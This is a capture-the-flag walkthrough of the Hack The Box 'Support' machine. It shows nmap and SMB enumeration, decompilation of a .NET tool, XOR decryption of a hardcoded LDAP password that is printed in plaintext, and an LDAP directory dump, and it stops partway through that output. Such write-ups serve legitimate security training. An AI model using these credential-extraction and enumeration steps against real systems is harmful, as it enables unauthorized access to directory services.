nopedawn

HTB | Support - Machines

Created: Apr 16, 2026
Last edited: Apr 17, 2026

https://app.hackthebox.com/machines/Support/



Support | Walkthrough

Phase
Reconnaissance
Foothold

Reconnaissance

In initial phase is we have to use nmap to enumerate all open ports in the target machine

nmap -sC -sV <MACHINE-IP>
# or sudo nmap -sS <MACHINE-IP>
nmap port scan not working
nopedawn@npdn ~/L/H/S/Support> nmap -sC -sV 10.129.230.181
Starting Nmap 7.80 ( https://nmap.org ) at 2026-04-15 06:28 WIB
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.43 seconds

Let’s try to adding -Pn and -p- arguments

nmap port scanning add two arguments
nopedawn@npdn ~/L/H/S/Support> nmap -sC -sV -Pn 10.129.230.181 -p-
Starting Nmap 7.80 ( https://nmap.org ) at 2026-04-15 06:32 WIB
Nmap scan report for 10.129.230.181
Host is up (0.078s latency).
Not shown: 65516 filtered ports
PORT      STATE SERVICE       VERSION
53/tcp    open  domain?
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|_    bind
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-15 00:00:23Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49678/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49690/tcp open  msrpc         Microsoft Windows RPC
49695/tcp open  msrpc         Microsoft Windows RPC
49714/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=4/15%Time=69DED51B%P=x86\_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\\0\\x1e\\0\\x06\\x81\\x04\\0\\x01\\0\\0\\0\\0\\0\\0\\x07version\\
SF:x04bind\\0\\0\\x10\\0\\x03");
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   2.02:
|_    Message signing enabled and required
| smb2-time:
|   date: 2026-04-15T00:02:59
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2008.04 seconds

It took more than 30 minutes to fully scan all the ports :v

scan port only
nopedawn@npdn ~/L/H/S/Support> sudo nmap -sS 10.129.230.181
[sudo] password for nopedawn:
Starting Nmap 7.80 ( https://nmap.org ) at 2026-04-15 07:07 WIB
Nmap scan report for 10.129.230.181
Host is up (0.22s latency).
Not shown: 989 filtered ports
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl

Nmap done: 1 IP address (1 host up) scanned in 31.01 seconds

As we can see, there are so many ports open and it runs in windows machine, the more interesting are ports

  • 389 (LDAP)
  • 636 (LDAPS)
  • 445 (SMB)
  • 5985(WinRM)

Let’s check smb if the shares is available

smbclient check shares
nopedawn@npdn ~/L/H/S/Support> smbclient -L \\\\\\\\10.129.230.181\\\\
Password for [WORKGROUP\\nopedawn]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        support-tools   Disk      support staff tools
        SYSVOL          Disk      Logon server share
SMB1 disabled -- no workgroup available

From available shares, support-tools seems interesting as it isn’t a default share.

smb support-tools shares
nopedawn@npdn ~/L/H/S/Support> smbclient \\\\\\\\10.129.230.181\\\\support-tools
Password for [WORKGROUP\\nopedawn]:
Try "help" to get a list of possible commands.
smb: \\> dir
  .                                   D        0  Thu Jul 21 00:01:06 2022
  ..                                  D        0  Sat May 28 18:18:25 2022
  7-ZipPortable_21.07.paf.exe         A  2880728  Sat May 28 18:19:19 2022
  npp.8.4.1.portable.x64.zip          A  5439245  Sat May 28 18:19:55 2022
  putty.exe                           A  1273576  Sat May 28 18:20:06 2022
  SysinternalsSuite.zip               A 48102161  Sat May 28 18:19:31 2022
  UserInfo.exe.zip                    A   277499  Thu Jul 21 00:01:07 2022
  windirstat1_1_2_setup.exe           A    79171  Sat May 28 18:20:17 2022
  WiresharkPortable64_3.6.5.paf.exe      A 44398000  Sat May 28 18:19:43 2022

                4026367 blocks of size 4096. 970255 blocks available
smb: \\>

We’re able to connect to the share anonymously and list the available files. The share contains a few application installers, but one file stands out. Specifically UserInfo.exe.zip doesn’t seem like a common application.

download share \& extract
smb: \\> get UserInfo.exe.zip
getting file \\UserInfo.exe.zip of size 277499 as UserInfo.exe.zip (144.5 KiloBytes/sec) (average 144.5 KiloBytes/sec)
smb: \\> exit
nopedawn@npdn ~/L/H/S/Support> ls
UserInfo.exe.zip
nopedawn@npdn ~/L/H/S/Support> unzip UserInfo.exe.zip
Archive:  UserInfo.exe.zip
  inflating: UserInfo.exe
  inflating: CommandLineParser.dll
  inflating: Microsoft.Bcl.AsyncInterfaces.dll
  inflating: Microsoft.Extensions.DependencyInjection.Abstractions.dll
  inflating: Microsoft.Extensions.DependencyInjection.dll
  inflating: Microsoft.Extensions.Logging.Abstractions.dll
  inflating: System.Buffers.dll
  inflating: System.Memory.dll
  inflating: System.Numerics.Vectors.dll
  inflating: System.Runtime.CompilerServices.Unsafe.dll
  inflating: System.Threading.Tasks.Extensions.dll
  inflating: UserInfo.exe.config

The archive contains quite a few DLL’s as well as an executable file called UserInfo.exe .

check file type
nopedawn@npdn ~/L/H/S/Support> file UserInfo.exe
UserInfo.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

From output, we see it’s a Mono/.NET Assembly executable file, this time I’ll decompile using dnSpy and reverse engineering the file

UserInfo (1.0.0.0)
 1// D:\\HTB\\Machines\\Support\\UserInfo.exe
 2// UserInfo, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
 3
 4// Entry point: UserInfo.Program.<Main>
 5// Timestamp: <Unknown> (AF4FD865)
 6
 7using System;
 8using System.Diagnostics;
 9using System.Reflection;
10using System.Runtime.CompilerServices;
11using System.Runtime.InteropServices;
12using System.Runtime.Versioning;
13
14[assembly: AssemblyVersion("1.0.0.0")]
15[assembly: CompilationRelaxations(8)]
16[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
17[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
18[assembly: AssemblyTitle("UserInfo")]
19[assembly: AssemblyDescription("")]
20[assembly: AssemblyConfiguration("")]
21[assembly: AssemblyCompany("")]
22[assembly: AssemblyProduct("UserInfo")]
23[assembly: AssemblyCopyright("Copyright ©  2022")]
24[assembly: AssemblyTrademark("")]
25[assembly: ComVisible(false)]
26[assembly: Guid("5a280d0b-9fd0-4701-8f96-82e2f1ea9dfb")]
27[assembly: AssemblyFileVersion("1.0.0.0")]
28[assembly: TargetFramework(".NETFramework,Version=v4.8", FrameworkDisplayName = ".NET Framework 4.8")]

Once the binary is loaded, dnSpy automatically handles the decompilation, allowing us to reversing the source code. We can immediately spot a function named LdapQuery, along with two additional functions, FindUser and GetUser.

UserInfo.Commands

 1using System;
 2using System.Runtime.CompilerServices;
 3using System.Threading;
 4using System.Threading.Tasks;
 5using MatthiWare.CommandLine.Abstractions.Command;
 6
 7namespace UserInfo.Commands
 8{
 9	// Token: 0x02000008 RID: 8
10	public class FindUser : Command<GlobalOptions, FindUserOptions>
11	{
12		// Token: 0x06000016 RID: 22 RVA: 0x000025D4 File Offset: 0x000007D4
13		public override void OnConfigure(ICommandConfigurationBuilder builder)
14		{
15			builder.Name("find").Description("Find a user");
16		}
17
18		// Token: 0x06000017 RID: 23 RVA: 0x000025EC File Offset: 0x000007EC
19		public override Task OnExecuteAsync(GlobalOptions options, FindUserOptions commandOptions, CancellationToken cancellationToken)
20		{
21			FindUser.<OnExecuteAsync>d__2 <OnExecuteAsync>d__;
22			<OnExecuteAsync>d__.<>t__builder = AsyncTaskMethodBuilder.Create();
23			<OnExecuteAsync>d__.options = options;
24			<OnExecuteAsync>d__.commandOptions = commandOptions;
25			<OnExecuteAsync>d__.<>1__state = -1;
26			<OnExecuteAsync>d__.<>t__builder.Start<FindUser.<OnExecuteAsync>d__2>(ref <OnExecuteAsync>d__);
27			return <OnExecuteAsync>d__.<>t__builder.Task;
28		}
29	}
30}
 1using System;
 2using System.Runtime.CompilerServices;
 3using System.Threading;
 4using System.Threading.Tasks;
 5using MatthiWare.CommandLine.Abstractions.Command;
 6
 7namespace UserInfo.Commands
 8{
 9	// Token: 0x02000009 RID: 9
10	public class GetUser : Command<GlobalOptions, GetUserOptions>
11	{
12		// Token: 0x06000019 RID: 25 RVA: 0x0000263F File Offset: 0x0000083F
13		public override void OnConfigure(ICommandConfigurationBuilder builder)
14		{
15			builder.Name("user").Description("Get information about a user");
16		}
17
18		// Token: 0x0600001A RID: 26 RVA: 0x00002658 File Offset: 0x00000858
19		public override Task OnExecuteAsync(GlobalOptions options, GetUserOptions commandOptions, CancellationToken cancellationToken)
20		{
21			GetUser.<OnExecuteAsync>d__2 <OnExecuteAsync>d__;
22			<OnExecuteAsync>d__.<>t__builder = AsyncTaskMethodBuilder.Create();
23			<OnExecuteAsync>d__.options = options;
24			<OnExecuteAsync>d__.commandOptions = commandOptions;
25			<OnExecuteAsync>d__.<>1__state = -1;
26			<OnExecuteAsync>d__.<>t__builder.Start<GetUser.<OnExecuteAsync>d__2>(ref <OnExecuteAsync>d__);
27			return <OnExecuteAsync>d__.<>t__builder.Task;
28		}
29	}
30}

UserInfo.Services

  1using System;
  2using System.DirectoryServices;
  3
  4namespace UserInfo.Services
  5{
  6	// Token: 0x02000007 RID: 7
  7	internal class LdapQuery
  8	{
  9		// Token: 0x06000012 RID: 18 RVA: 0x00002190 File Offset: 0x00000390
 10		public LdapQuery()
 11		{
 12			string password = Protected.getPassword();
 13			this.entry = new DirectoryEntry("LDAP://support.htb", "support\\\\ldap", password);
 14			this.entry.AuthenticationType = AuthenticationTypes.Secure;
 15			this.ds = new DirectorySearcher(this.entry);
 16		}
 17
 18		// Token: 0x06000013 RID: 19 RVA: 0x000021DC File Offset: 0x000003DC
 19		public void query(string first, string last, bool verbose = false)
 20		{
 21			try
 22			{
 23				if (first == null && last == null)
 24				{
 25					Console.WriteLine("[-] At least one of -first or -last is required.");
 26				}
 27				else
 28				{
 29					string text;
 30					if (last == null)
 31					{
 32						text = "(givenName=" + first + ")";
 33					}
 34					else if (first == null)
 35					{
 36						text = "(sn=" + last + ")";
 37					}
 38					else
 39					{
 40						text = string.Concat(new string[]
 41						{
 42							"(&(givenName=",
 43							first,
 44							")(sn=",
 45							last,
 46							"))"
 47						});
 48					}
 49					if (verbose)
 50					{
 51						Console.WriteLine("[*] LDAP query to use: " + text);
 52					}
 53					this.ds.Filter = text;
 54					this.ds.PropertiesToLoad.Add("sAMAccountName");
 55					SearchResultCollection searchResultCollection = this.ds.FindAll();
 56					if (searchResultCollection.Count == 0)
 57					{
 58						Console.WriteLine("[-] No users identified with that query.");
 59					}
 60					else
 61					{
 62						if (verbose)
 63						{
 64							string text2 = "[+] Found " + searchResultCollection.Count.ToString() + " result";
 65							if (searchResultCollection.Count > 1)
 66							{
 67								text2 += "s";
 68							}
 69							text2 += ":";
 70							Console.WriteLine(text2);
 71						}
 72						foreach (object obj in searchResultCollection)
 73						{
 74							SearchResult searchResult = (SearchResult)obj;
 75							if (verbose)
 76							{
 77								Console.Write("       ");
 78							}
 79							Console.WriteLine(searchResult.Properties["sAMAccountName"][0]);
 80						}
 81					}
 82				}
 83			}
 84			catch (Exception ex)
 85			{
 86				Console.WriteLine("[-] Exception: " + ex.Message);
 87			}
 88		}
 89
 90		// Token: 0x06000014 RID: 20 RVA: 0x000023A4 File Offset: 0x000005A4
 91		public void printUser(string username, bool verbose = false)
 92		{
 93			try
 94			{
 95				if (verbose)
 96				{
 97					Console.WriteLine("[*] Getting data for " + username);
 98				}
 99				this.ds.Filter = "sAMAccountName=" + username;
100				this.ds.PropertiesToLoad.Add("pwdLastSet");
101				this.ds.PropertiesToLoad.Add("lastLogon");
102				this.ds.PropertiesToLoad.Add("givenName");
103				this.ds.PropertiesToLoad.Add("sn");
104				this.ds.PropertiesToLoad.Add("mail");
105				SearchResult searchResult = this.ds.FindOne();
106				if (searchResult == null)
107				{
108					Console.WriteLine("[-] Unable to locate " + username + ". Please try the find command to get the user's username.");
109				}
110				else
111				{
112					if (searchResult.Properties["givenName"].Count > 0)
113					{
114						string str = "First Name:           ";
115						object obj = searchResult.Properties["givenName"][0];
116						Console.WriteLine(str + ((obj != null) ? obj.ToString() : null));
117					}
118					if (searchResult.Properties["sn"].Count > 0)
119					{
120						string str2 = "Last Name:            ";
121						object obj2 = searchResult.Properties["sn"][0];
122						Console.WriteLine(str2 + ((obj2 != null) ? obj2.ToString() : null));
123					}
124					if (searchResult.Properties["mail"].Count > 0)
125					{
126						string str3 = "Contact:              ";
127						object obj3 = searchResult.Properties["mail"][0];
128						Console.WriteLine(str3 + ((obj3 != null) ? obj3.ToString() : null));
129					}
130					if (searchResult.Properties.Contains("pwdLastSet"))
131					{
132						Console.WriteLine("Last Password Change: " + DateTime.FromFileTime((long)searchResult.Properties["pwdLastSet"][0]).ToString());
133					}
134				}
135			}
136			catch (Exception ex)
137			{
138				Console.WriteLine("[-] Exception: " + ex.Message);
139			}
140		}
141
142		// Token: 0x04000007 RID: 7
143		private DirectoryEntry entry;
144
145		// Token: 0x04000008 RID: 8
146		private DirectorySearcher ds;
147	}
148}
 1using System;
 2using System.Text;
 3
 4namespace UserInfo.Services
 5{
 6	// Token: 0x02000006 RID: 6
 7	internal class Protected
 8	{
 9		// Token: 0x0600000F RID: 15 RVA: 0x00002118 File Offset: 0x00000318
10		public static string getPassword()
11		{
12			byte[] array = Convert.FromBase64String(Protected.enc_password);
13			byte[] array2 = array;
14			for (int i = 0; i < array.Length; i++)
15			{
16				array2[i] = (array[i] ^ Protected.key[i % Protected.key.Length] ^ 223);
17			}
18			return Encoding.Default.GetString(array2);
19		}
20
21		// Token: 0x04000005 RID: 5
22		private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
23
24		// Token: 0x04000006 RID: 6
25		private static byte[] key = Encoding.ASCII.GetBytes("armando");
26	}
27}

The code shows that the binary is designed to connect to a remote LDAP server and try to retrieve user information. Next, we should add support.htb to our hosts file.

add support.htb to hosts file
nopedawn@npdn ~/L/H/S/Support> echo '10.129.230.181 support.htb' | sudo tee -a /etc/hosts
[sudo] password for nopedawn:
10.129.230.181 support.htb

The password used for LDAP authentication is obtained through the Protected.getPassword() function.

  • enc_password: "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
  • key 1: "armando"
  • key 2: 223 (0xDF)
  • Type: ^ (xor)

Let’s make python3 script to decrypt the xor

dec.py
1import base64, itertools
2enc_password = base64.b64decode("0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E")
3key = b"armando"
4key2 = 0xDF
5res = ''
6for e,k in zip(enc_password, cycle(key)):
7        res += chr(e ^ k ^ key2)
8print(res)

Run it

nopedawn@npdn ~/L/H/S/Support> python3 dec.py
nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

Foothold

Since we already get the credential, let’s connect to LDAP server

Make sure to install requirement

sudo apt install ldap-utils -y

Let’s connect using following command

ldapsearch -x -H ldap://support.htb -D "ldap@support.htb" -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "dc=support,dc=htb" "*"
connect ldap
ldapsearch -x -H ldap://support.htb -D "ldap@support.htb" -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "dc=support,dc=htb" "*"
# extended LDIF
#
# LDAPv3
# base <dc=support,dc=htb> with scope subtree
# filter: (objectclass=*)
# requesting: *
#

# support.htb
dn: DC=support,DC=htb
objectClass: top
objectClass: domain
objectClass: domainDNS
distinguishedName: DC=support,DC=htb
instanceType: 5
whenCreated: 20220528110146.0Z
whenChanged: 20260414232803.0Z
subRefs: DC=ForestDnsZones,DC=support,DC=htb
subRefs: DC=DomainDnsZones,DC=support,DC=htb
subRefs: CN=Configuration,DC=support,DC=htb
uSNCreated: 4099
dSASignature:: AQAAACgAAAAAAAAAAAAAAAAAAAAAAAAA5VYBKcsiG0+bllUW2Ew2PA==
uSNChanged: 90142
name: support
objectGUID:: o9k8VcSGZE2ehVFGqYyGjg==
replUpToDateVector:: AgAAAAAAAAAKAAAAAAAAAOVWASnLIhtPm5ZVFthMNjwCQAAAAAAAAPt+5
 xgDAAAAZ6vYPcTkRkO0MFdWs1QQvg8QAQAAAAAAVnnwGAMAAAD+QDhi4WGeQJzRK0Oxy/DzETABAA
 AAAADin/AYAwAAAE1xSnqneJdOoS4KYD+/c0AOAAEAAAAAAGMS6xgDAAAAd62sflaFQUqcdbgJy/U
 K7xJAAQAAAAAAFbi5GwMAAAA9xlubHL0ORprzS2KWPEOHBGAAAAAAAAB6xegYAwAAAJjUpNK4xSxH
 t3H97S3gZQcFcAAAAAAAAKPC6RgDAAAAJ7XI2ms7OEip16SpLPtxPgzgAAAAAAAAOjnqGAMAAAAOD
 l7iB/ErRroAvsLVrzARE1ABAAAAAAByxLkbAwAAAP2GZ/KFsXRLgmSJ43KqDjMUYAEAAAAAAIJe7x
 8DAAAA
creationTime: 134206828838948963
forceLogoff: -9223372036854775808
lockoutDuration: -18000000000
lockOutObservationWindow: -18000000000
lockoutThreshold: 0
maxPwdAge: -9223372036854775808
minPwdAge: -864000000000
minPwdLength: 7
modifiedCountAtLastProm: 0
nextRid: 1000
pwdProperties: 1
pwdHistoryLength: 24
objectSid:: AQQAAAAAAAUVAAAAG9v9Y4G6g8nmcEIL
serverState: 1
uASCompat: 0
modifiedCount: 1
auditingPolicy:: AAE=
nTMixedDomain: 0
rIDManagerReference: CN=RID Manager$,CN=System,DC=support,DC=htb
fSMORoleOwner: CN=NTDS Settings,CN=DC,CN=Servers,CN=Default-First-Site-Name,CN
 =Sites,CN=Configuration,DC=support,DC=htb
systemFlags: -1946157056
wellKnownObjects: B:32:6227F0AF1FC2410D8E3BB10615BB5B0F:CN=NTDS Quotas,DC=supp
 ort,DC=htb
wellKnownObjects: B:32:F4BE92A4C777485E878E9421D53087DB:CN=Microsoft,CN=Progra
 m Data,DC=support,DC=htb
wellKnownObjects: B:32:09460C08AE1E4A4EA0F64AEE7DAA1E5A:CN=Program Data,DC=sup
 port,DC=htb
wellKnownObjects: B:32:22B70C67D56E4EFB91E9300FCA3DC1AA:CN=ForeignSecurityPrin
 cipals,DC=support,DC=htb
wellKnownObjects: B:32:18E2EA80684F11D2B9AA00C04F79F805:CN=Deleted Objects,DC=
 support,DC=htb
wellKnownObjects: B:32:2FBAC1870ADE11D297C400C04FD8D5CD:CN=Infrastructure,DC=s
 upport,DC=htb
wellKnownObjects: B:32:AB8153B7768811D1ADED00C04FD8D5CD:CN=LostAndFound,DC=sup
 port,DC=htb
wellKnownObjects: B:32:AB1D30F3768811D1ADED00C04FD8D5CD:CN=System,DC=support,D
 C=htb
wellKnownObjects: B:32:A361B2FFFFD211D1AA4B00C04FD7D83A:OU=Domain Controllers,
 DC=support,DC=htb
wellKnownObjects: B:32:AA312825768811D1ADED00C04FD8D5CD:CN=Computers,DC=suppor
 t,DC=htb
wellKnownObjects: B:32:A9D1CA15768811D1ADED00C04FD8D5CD:CN=Users,DC=support,DC
 =htb
objectCategory: CN=Domain-DNS,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
gPLink: [LDAP://CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=Syste
 m,DC=support,DC=htb;0]
dSCorePropagationData: 16010101000000.0Z
otherWellKnownObjects: B:32:683A24E2E8164BD3AF86AC3C2CF3F981:CN=Keys,DC=suppor
 t,DC=htb
otherWellKnownObjects: B:32:1EB93889E40C45DF9F0C64D23BBB6237:CN=Managed Servic
 e Accounts,DC=support,DC=htb
masteredBy: CN=NTDS Settings,CN=DC,CN=Servers,CN=Default-First-Site-Name,CN=Si
 tes,CN=Configuration,DC=support,DC=htb
ms-DS-MachineAccountQuota: 10
msDS-Behavior-Version: 7
msDS-PerUserTrustQuota: 1
msDS-AllUsersTrustQuota: 1000
msDS-PerUserTrustTombstonesQuota: 10
msDs-masteredBy: CN=NTDS Settings,CN=DC,CN=Servers,CN=Default-First-Site-Name,
 CN=Sites,CN=Configuration,DC=support,DC=htb
msDS-IsDomainFor: CN=NTDS Settings,CN=DC,CN=Servers,CN=Default-First-Site-Name
 ,CN=Sites,CN=Configuration,DC=support,DC=htb
msDS-NcType: 0
msDS-ExpirePasswordsOnSmartCardOnlyAccounts: TRUE
dc: support

# Users, support.htb
dn: CN=Users,DC=support,DC=htb
objectClass: top
objectClass: container
cn: Users
description: Default container for upgraded user accounts
distinguishedName: CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5660
uSNChanged: 5660
showInAdvancedViewOnly: FALSE
name: Users
objectGUID:: fvT3rPs5nUaComz/MQQwrw==
systemFlags: -1946157056
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# Computers, support.htb
dn: CN=Computers,DC=support,DC=htb
objectClass: top
objectClass: container
cn: Computers
description: Default container for upgraded computer accounts
distinguishedName: CN=Computers,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5661
uSNChanged: 5661
showInAdvancedViewOnly: FALSE
name: Computers
objectGUID:: hEA7Hpzlr0SHeIFdW+8brA==
systemFlags: -1946157056
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# Domain Controllers, support.htb
dn: OU=Domain Controllers,DC=support,DC=htb
objectClass: top
objectClass: organizationalUnit
ou: Domain Controllers
description: Default container for domain controllers
distinguishedName: OU=Domain Controllers,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5804
uSNChanged: 5804
showInAdvancedViewOnly: FALSE
name: Domain Controllers
objectGUID:: rfyHSRKchECDggKbKAbvGg==
systemFlags: -1946157056
objectCategory: CN=Organizational-Unit,CN=Schema,CN=Configuration,DC=support,D
 C=htb
isCriticalSystemObject: TRUE
gPLink: [LDAP://CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=Syste
 m,DC=support,DC=htb;0]
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# System, support.htb
dn: CN=System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: System
description: Builtin system settings
distinguishedName: CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5662
uSNChanged: 5662
showInAdvancedViewOnly: TRUE
name: System
objectGUID:: wXesNw5ZUEOtff8d+eDZvQ==
systemFlags: -1946157056
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# LostAndFound, support.htb
dn: CN=LostAndFound,DC=support,DC=htb
objectClass: top
objectClass: lostAndFound
cn: LostAndFound
description: Default container for orphaned objects
distinguishedName: CN=LostAndFound,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5658
uSNChanged: 5658
showInAdvancedViewOnly: TRUE
name: LostAndFound
objectGUID:: OcNZFliArUWQIWPQoVau3Q==
systemFlags: -1946157056
objectCategory: CN=Lost-And-Found,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# Infrastructure, support.htb
dn: CN=Infrastructure,DC=support,DC=htb
objectClass: top
objectClass: infrastructureUpdate
cn: Infrastructure
distinguishedName: CN=Infrastructure,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5805
uSNChanged: 5805
showInAdvancedViewOnly: TRUE
name: Infrastructure
objectGUID:: KiNSTMeN00G6HjAJwUI5Fw==
fSMORoleOwner: CN=NTDS Settings,CN=DC,CN=Servers,CN=Default-First-Site-Name,CN
 =Sites,CN=Configuration,DC=support,DC=htb
systemFlags: -1946157056
objectCategory: CN=Infrastructure-Update,CN=Schema,CN=Configuration,DC=support
 ,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# ForeignSecurityPrincipals, support.htb
dn: CN=ForeignSecurityPrincipals,DC=support,DC=htb
objectClass: top
objectClass: container
cn: ForeignSecurityPrincipals
description: Default container for security identifiers (SIDs) associated with
  objects from external, trusted domains
distinguishedName: CN=ForeignSecurityPrincipals,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5806
uSNChanged: 5806
showInAdvancedViewOnly: FALSE
name: ForeignSecurityPrincipals
objectGUID:: tQwM2Igp00StuyaI/UFxGg==
systemFlags: -1946157056
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# Program Data, support.htb
dn: CN=Program Data,DC=support,DC=htb
objectClass: top
objectClass: container
cn: Program Data
description: Default location for storage of application data.
distinguishedName: CN=Program Data,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5807
uSNChanged: 5807
showInAdvancedViewOnly: TRUE
name: Program Data
objectGUID:: SAoobd/lGEKHxpa3iZtSvQ==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# Microsoft, Program Data, support.htb
dn: CN=Microsoft,CN=Program Data,DC=support,DC=htb
objectClass: top
objectClass: container
cn: Microsoft
description: Default location for storage of Microsoft application data.
distinguishedName: CN=Microsoft,CN=Program Data,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5808
uSNChanged: 5808
showInAdvancedViewOnly: TRUE
name: Microsoft
objectGUID:: 2iakAAdNgE+Y/SxwJRsrEQ==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# NTDS Quotas, support.htb
dn: CN=NTDS Quotas,DC=support,DC=htb

# Managed Service Accounts, support.htb
dn: CN=Managed Service Accounts,DC=support,DC=htb
objectClass: top
objectClass: container
cn: Managed Service Accounts
description: Default container for managed service accounts
distinguishedName: CN=Managed Service Accounts,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5810
uSNChanged: 5810
showInAdvancedViewOnly: FALSE
name: Managed Service Accounts
objectGUID:: mh0DXxYWq0CEp4cG6yDDYw==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# Keys, support.htb
dn: CN=Keys,DC=support,DC=htb

# WinsockServices, System, support.htb
dn: CN=WinsockServices,CN=System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: WinsockServices
distinguishedName: CN=WinsockServices,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5663
uSNChanged: 5663
showInAdvancedViewOnly: TRUE
name: WinsockServices
objectGUID:: 6kUNan6cQ0iRKrthtoinlw==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# RpcServices, System, support.htb
dn: CN=RpcServices,CN=System,DC=support,DC=htb
objectClass: top
objectClass: container
objectClass: rpcContainer
cn: RpcServices
distinguishedName: CN=RpcServices,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5664
